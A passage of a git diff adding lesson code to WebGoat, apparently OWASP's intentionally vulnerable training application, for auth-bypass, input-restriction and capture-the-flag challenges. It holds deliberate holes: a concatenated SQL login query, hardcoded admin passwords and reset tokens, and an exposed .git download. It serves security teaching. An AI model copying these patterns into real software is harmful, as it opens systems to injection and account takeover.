this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import java.io.IOException; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({ + "auth-bypass.hints.verify.1", + "auth-bypass.hints.verify.2", + "auth-bypass.hints.verify.3", + "auth-bypass.hints.verify.4" +}) +public class VerifyAccount extends AssignmentEndpoint { + + @Autowired private WebSession webSession; + + @Autowired UserSessionData userSessionData; + + @PostMapping( + path = "/auth-bypass/verify-account", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed( + @RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) + throws ServletException, IOException { + AccountVerificationHelper verificationHelper = new AccountVerificationHelper(); + Map submittedAnswers = parseSecQuestions(req); + if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) { + return failed(this) + .feedback("verify-account.cheated") + .output("Yes, you guessed correctly, but see the feedback message") + .build(); + } + + // else + if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) { + userSessionData.setValue("account-verified-id", userId); + return success(this).feedback("verify-account.success").build(); + } else { + return failed(this).feedback("verify-account.failed").build(); + } + } + + private HashMap parseSecQuestions(HttpServletRequest req) { + Map userAnswers = new HashMap<>(); + List paramNames = Collections.list(req.getParameterNames()); + for (String paramName : paramNames) { + // String paramName = req.getParameterNames().nextElement(); + if (paramName.contains("secQuestion")) { + userAnswers.put(paramName, req.getParameter(paramName)); + } + } + return (HashMap) userAnswers; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java new file mode 100644 index 000000000..7aaa06c5c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class BypassRestrictions extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "bypass-restrictions.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java new file mode 100644 index 000000000..2ea8db965 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java @@ -0,0 +1,60 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint { + + @PostMapping("/BypassRestrictions/FieldRestrictions") + @ResponseBody + public AttackResult completed( + @RequestParam String select, + @RequestParam String radio, + @RequestParam String checkbox, + @RequestParam String shortInput, + @RequestParam String readOnlyInput) { + if (select.equals("option1") || select.equals("option2")) { + return failed(this).build(); + } + if (radio.equals("option1") || radio.equals("option2")) { + return failed(this).build(); + } + if (checkbox.equals("on") || checkbox.equals("off")) { + return failed(this).build(); + } + if (shortInput.length() <= 5) { + return failed(this).build(); + } + if ("change".equals(readOnlyInput)) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java new file mode 100644 index 000000000..9d2c048eb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java @@ -0,0 +1,79 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint { + + @PostMapping("/BypassRestrictions/frontendValidation") + @ResponseBody + public AttackResult completed( + @RequestParam String field1, + @RequestParam String field2, + @RequestParam String field3, + @RequestParam String field4, + @RequestParam String field5, + @RequestParam String field6, + @RequestParam String field7, + @RequestParam Integer error) { + final String regex1 = "^[a-z]{3}$"; + final String regex2 = "^[0-9]{3}$"; + final String regex3 = "^[a-zA-Z0-9 ]*$"; + final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$"; + final String regex5 = "^\\d{5}$"; + final String regex6 = "^\\d{5}(-\\d{4})?$"; + final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$"; + if (error > 0) { + return failed(this).build(); + } + if (field1.matches(regex1)) { + return failed(this).build(); + } + if (field2.matches(regex2)) { + return failed(this).build(); + } + if (field3.matches(regex3)) { + return failed(this).build(); + } + if (field4.matches(regex4)) { + return failed(this).build(); + } + if (field5.matches(regex5)) { + return failed(this).build(); + } + if (field6.matches(regex6)) { + return failed(this).build(); + } + if (field7.matches(regex7)) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java b/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java new file mode 100644 index 000000000..1c6ba4c37 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.lessons.challenges; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * @author nbaars + * @since 3/21/17. + */ +public class ChallengeIntro extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge0.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java b/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java new file mode 100644 index 000000000..81e105a9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.Builder; +import lombok.Data; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Builder +@Data +public class Email implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java new file mode 100644 index 000000000..d78186585 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; +import java.util.stream.IntStream; +import javax.annotation.PostConstruct; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 3/23/17. + */ +@RestController +public class Flag extends AssignmentEndpoint { + + public static final Map FLAGS = new HashMap<>(); + @Autowired private UserTrackerRepository userTrackerRepository; + @Autowired private WebSession webSession; + + @AllArgsConstructor + private class FlagPosted { + @Getter private boolean lessonCompleted; + } + + @PostConstruct + public void initFlags() { + IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); + } + + @RequestMapping( + path = "/challenge/flag", + method = RequestMethod.POST, + produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult postFlag(@RequestParam String flag) { + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + String currentChallenge = webSession.getCurrentLesson().getName(); + int challengeNumber = + Integer.valueOf( + currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length())); + String expectedFlag = FLAGS.get(challengeNumber); + final AttackResult attackResult; + if (expectedFlag.equals(flag)) { + userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber); + attackResult = success(this).feedback("challenge.flag.correct").build(); + } else { + userTracker.assignmentFailed(webSession.getCurrentLesson()); + attackResult = failed(this).feedback("challenge.flag.incorrect").build(); + } + userTrackerRepository.save(userTracker); + return attackResult; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java new file mode 100644 index 000000000..890d80d06 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java @@ -0,0 +1,37 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +/** + * Interface with constants so we can easily change the flags + * + * @author nbaars + * @since 3/23/17. + */ +public interface SolutionConstants { + + // TODO should be random generated when starting the server + String PASSWORD = "!!webgoat_admin_1234!!"; + String PASSWORD_TOM = "thisisasecretfortomonly"; + String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java new file mode 100644 index 000000000..0d07c7427 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java @@ -0,0 +1,69 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since August 11, 2016 + */ +@RestController +public class Assignment1 extends AssignmentEndpoint { + + @PostMapping("/challenge/1") + @ResponseBody + public AttackResult completed( + @RequestParam String username, @RequestParam String password, HttpServletRequest request) { + boolean ipAddressKnown = true; + boolean passwordCorrect = + "admin".equals(username) + && PASSWORD + .replace("1234", String.format("%04d", ImageServlet.PINCODE)) + .equals(password); + if (passwordCorrect && ipAddressKnown) { + return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build(); + } else if (passwordCorrect) { + return failed(this).feedback("ip.address.unknown").build(); + } + return failed(this).build(); + } + + public static boolean containsHeader(HttpServletRequest request) { + return StringUtils.hasText(request.getHeader("X-Forwarded-For")); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java new file mode 100644 index 000000000..fa9129040 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge1 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge1.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java new file mode 100644 index 000000000..1de00e012 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java @@ -0,0 +1,41 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import static org.springframework.web.bind.annotation.RequestMethod.GET; +import static org.springframework.web.bind.annotation.RequestMethod.POST; + +import java.io.IOException; +import java.security.SecureRandom; +import javax.servlet.http.HttpServlet; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ImageServlet extends HttpServlet { + + private static final long serialVersionUID = 9132775506936676850L; + public static final int PINCODE = new SecureRandom().nextInt(10000); + + @RequestMapping( + method = {GET, POST}, + value = "/challenge/logo", + produces = MediaType.IMAGE_PNG_VALUE) + @ResponseBody + public byte[] logo() throws IOException { + byte[] in = + new ClassPathResource("lessons/challenges/images/webgoat2.png") + .getInputStream() + .readAllBytes(); + + String pincode = String.format("%04d", PINCODE); + + in[81216] = (byte) pincode.charAt(0); + in[81217] = (byte) pincode.charAt(1); + in[81218] = (byte) pincode.charAt(2); + in[81219] = (byte) pincode.charAt(3); + + return in; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java new file mode 100644 index 000000000..d6b8dcceb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges.challenge5; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@Slf4j +public class Assignment5 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public Assignment5(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/challenge/5") + @ResponseBody + public AttackResult login( + @RequestParam String username_login, @RequestParam String password_login) throws Exception { + if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { + return failed(this).feedback("required4").build(); + } + if (!"Larry".equals(username_login)) { + return failed(this).feedback("user.not.larry").feedbackArgs(username_login).build(); + } + try (var connection = dataSource.getConnection()) { + PreparedStatement statement = + connection.prepareStatement( + "select password from challenge_users where userid = '" + + username_login + + "' and password = '" + + password_login + + "'"); + ResultSet resultSet = statement.executeQuery(); + + if (resultSet.next()) { + return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build(); + } else { + return failed(this).feedback("challenge.close").build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java new file mode 100644 index 000000000..7fe4cfa9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges.challenge5; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge5 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge5.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java new file mode 100644 index 000000000..30e17288c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.net.URI; +import java.net.URISyntaxException; +import java.time.LocalDateTime; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Email; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.owasp.webgoat.lessons.challenges.SolutionConstants; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@Slf4j +public class Assignment7 extends AssignmentEndpoint { + + private static final String TEMPLATE = + "Hi, you requested a password reset link, please use this link to reset your" + + " password.\n" + + " \n\n" + + "If you did not request this password change you can ignore this message.\n" + + "If you have any comments or questions, please do not hesitate to reach us at" + + " support@webgoat-cloud.org\n\n" + + "Kind regards, \n" + + "Team WebGoat"; + + @Autowired private RestTemplate restTemplate; + + @Value("${webwolf.mail.url}") + private String webWolfMailURL; + + @GetMapping("/challenge/7/reset-password/{link}") + public ResponseEntity resetPassword(@PathVariable(value = "link") String link) { + if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) { + return ResponseEntity.accepted() + .body( + "

Success!!

" + + "" + + "

Here is your flag: " + + "" + + Flag.FLAGS.get(7) + + ""); + } + return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT) + .body("That is not the reset link for admin"); + } + + @PostMapping("/challenge/7") + @ResponseBody + public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) + throws URISyntaxException { + if (StringUtils.hasText(email)) { + String username = email.substring(0, email.indexOf("@")); + if (StringUtils.hasText(username)) { + URI uri = new URI(request.getRequestURL().toString()); + Email mail = + Email.builder() + .title("Your password reset link for challenge 7") + .contents( + String.format( + TEMPLATE, + uri.getScheme() + "://" + uri.getHost(), + new PasswordResetLink().createPasswordReset(username, "webgoat"))) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()) + .build(); + restTemplate.postForEntity(webWolfMailURL, mail, Object.class); + } + } + return success(this).feedback("email.send").feedbackArgs(email).build(); + } + + @GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) + @ResponseBody + public ClassPathResource git() { + return new ClassPathResource("challenge7/git.zip"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java new file mode 100644 index 000000000..ee14c8325 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge7 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge7.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java new file mode 100644 index 000000000..d523b6ba9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java @@ -0,0 +1,725 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; + +/** + * MD5 hash generator. More information about this class is available from ostermiller.org. + * + *

This class takes as input a message of arbitrary length and produces as output a 128-bit + * "fingerprint" or "message digest" of the input. It is conjectured that it is computationally + * infeasible to produce two messages having the same message digest, or to produce any message + * having a given pre-specified target message digest. The MD5 algorithm is intended for digital + * signature applications, where a large file must be "compressed" in a secure manner before being + * encrypted with a private (secret) key under a public-key cryptosystem such as RSA. + * + *

For more information see RFC1321. + * + * @author Santeri Paavolainen http://santtu.iki.fi/md5/ + * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities + * @since ostermillerutils 1.00.00 + */ +public class MD5 { + + /** + * Class constructor + * + * @since ostermillerutils 1.00.00 + */ + public MD5() { + reset(); + } + + /** + * Command line program that will take files as arguments and output the MD5 sum for each file. + * + * @param args command line arguments + * @since ostermillerutils 1.00.00 + */ + public static void main(String[] args) { + if (args.length == 0) { + System.err.println("Please specify a file."); + } else { + for (String element : args) { + try { + System.out.println(MD5.getHashString(new File(element)) + " " + element); + } catch (IOException x) { + System.err.println(x.getMessage()); + } + } + } + } + + /** + * Gets this hash sum as an array of 16 bytes. + * + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public byte[] getHash() { + if (!finalState.valid) { + finalState.copy(workingState); + long bitCount = finalState.bitCount; + // Compute the number of left over bits + int leftOver = (int) (((bitCount >>> 3)) & 0x3f); + // Compute the amount of padding to add based on number of left over bits. + int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver); + // add the padding + update(finalState, padding, 0, padlen); + // add the length (computed before padding was added) + update(finalState, encode(bitCount), 0, 8); + finalState.valid = true; + } + // make a copy of the hash before returning it. + return encode(finalState.state, 